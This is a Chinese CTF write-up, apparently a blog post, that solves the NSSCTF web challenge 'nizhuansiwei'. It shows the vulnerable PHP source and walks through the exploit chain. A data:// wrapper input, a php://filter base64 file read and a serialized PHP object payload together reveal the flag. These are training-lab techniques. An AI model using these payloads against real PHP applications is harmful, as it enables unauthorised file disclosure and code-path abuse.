NSSCTF-WEB-nizhuansiwei

前言

就直接上题目吧

这题有些意思


正文

php 复制代码
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];//定义三个变量
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//做了强比较,可利用?
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//传入的内容进行输出,如果只是单纯使text=上述,绝对不能echo 	file_get_contents 绕过? 
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php        包含,可利用?
        $password = unserialize($password);
        echo $password;  //构建序列化,由于未做限制,可自由发挥
    }
}
else{
    highlight_file(__FILE__);
}
?> 

大致情况

1.file_get_contents

2.文件包含

3.反序列化漏洞

再次审计分析,发现这里的强比较无法有效绕过 ,且/flag/被过滤

我们先尝试构建


EXP

首先要符合fgc

bash 复制代码
?data://text/plain,welcome to the zjctf

接下来是文件包含 ,获取提示给的useless.php内容

bash 复制代码
?file=php://filter/read=convert.base64-encode/resource=useless.php

输出的内容

php 复制代码
<?php  

class Flag{  
    public $file;  
    public function __tostring(){
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

这就很简单了

继续构建

bash 复制代码
?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

........害搁这循序渐进是伐.......

但是没有其他可利用的地方了,然后f12看到了flag

..............................我真的就............................

算了算了

差不多就是这样

需要注意的是

1.三个变量缺一不可,因为题目有先后顺序

2.file=useless.php是因为给了提示,不要想太多

3.多尝试


结语

没想到我也有500粉丝了,真的是始料未及的事情

感谢各位师傅们的支持,未来我也会给大家带来更多的内容

不只是CTF


作者的其他文章

攻防世界-WEB-ics07-CSDN博客

NSSCTF-WEB-easy_eval-CSDN博客

NSSCTF-WEB-pklovecloud-CSDN博客

BugKu-WEB-sodirty-CSDN博客

相关推荐
zopple20 分钟前
前端三剑客 vs Vue.js:核心区别解析
前端·javascript·vue.js
hsjcjh21 分钟前
窗口函数-详细讲解分析
java·服务器·前端
CDN36021 分钟前
【踩坑实录】前端开发必看:一次由CSS缓存引发的线上事故与SEO反思
前端·css·缓存
Chengbei1127 分钟前
某211高校从一个文档到十八万条sfz泄露和命令执行
人工智能·安全·web安全·网络安全·系统安全·状态模式·安全架构
胡志辉的博客27 分钟前
本地明明好好的,怎么一上线就跨域了?把同源策略、前后端分工和 CORS 一次讲明白
前端·javascript·vue.js·reactjs·nextjs·跨域
|晴 天|30 分钟前
文章系列管理系统:拖拽排序与进度追踪
前端·vue.js·typescript
GISer_Jing35 分钟前
AI Agent接口终局:MCP有弊端,CLI凭什么成为主流?
前端·人工智能
jiayong231 小时前
第 17 课:任务选择与批量操作
开发语言·前端·javascript·vue.js·学习
学网安的肆伍1 小时前
个人实验:常见端口风险详解 + NMAP 内网实战扫描教程
安全·网络安全·资产扫描
keyipatience1 小时前
3.Linux基本指令2
前端·html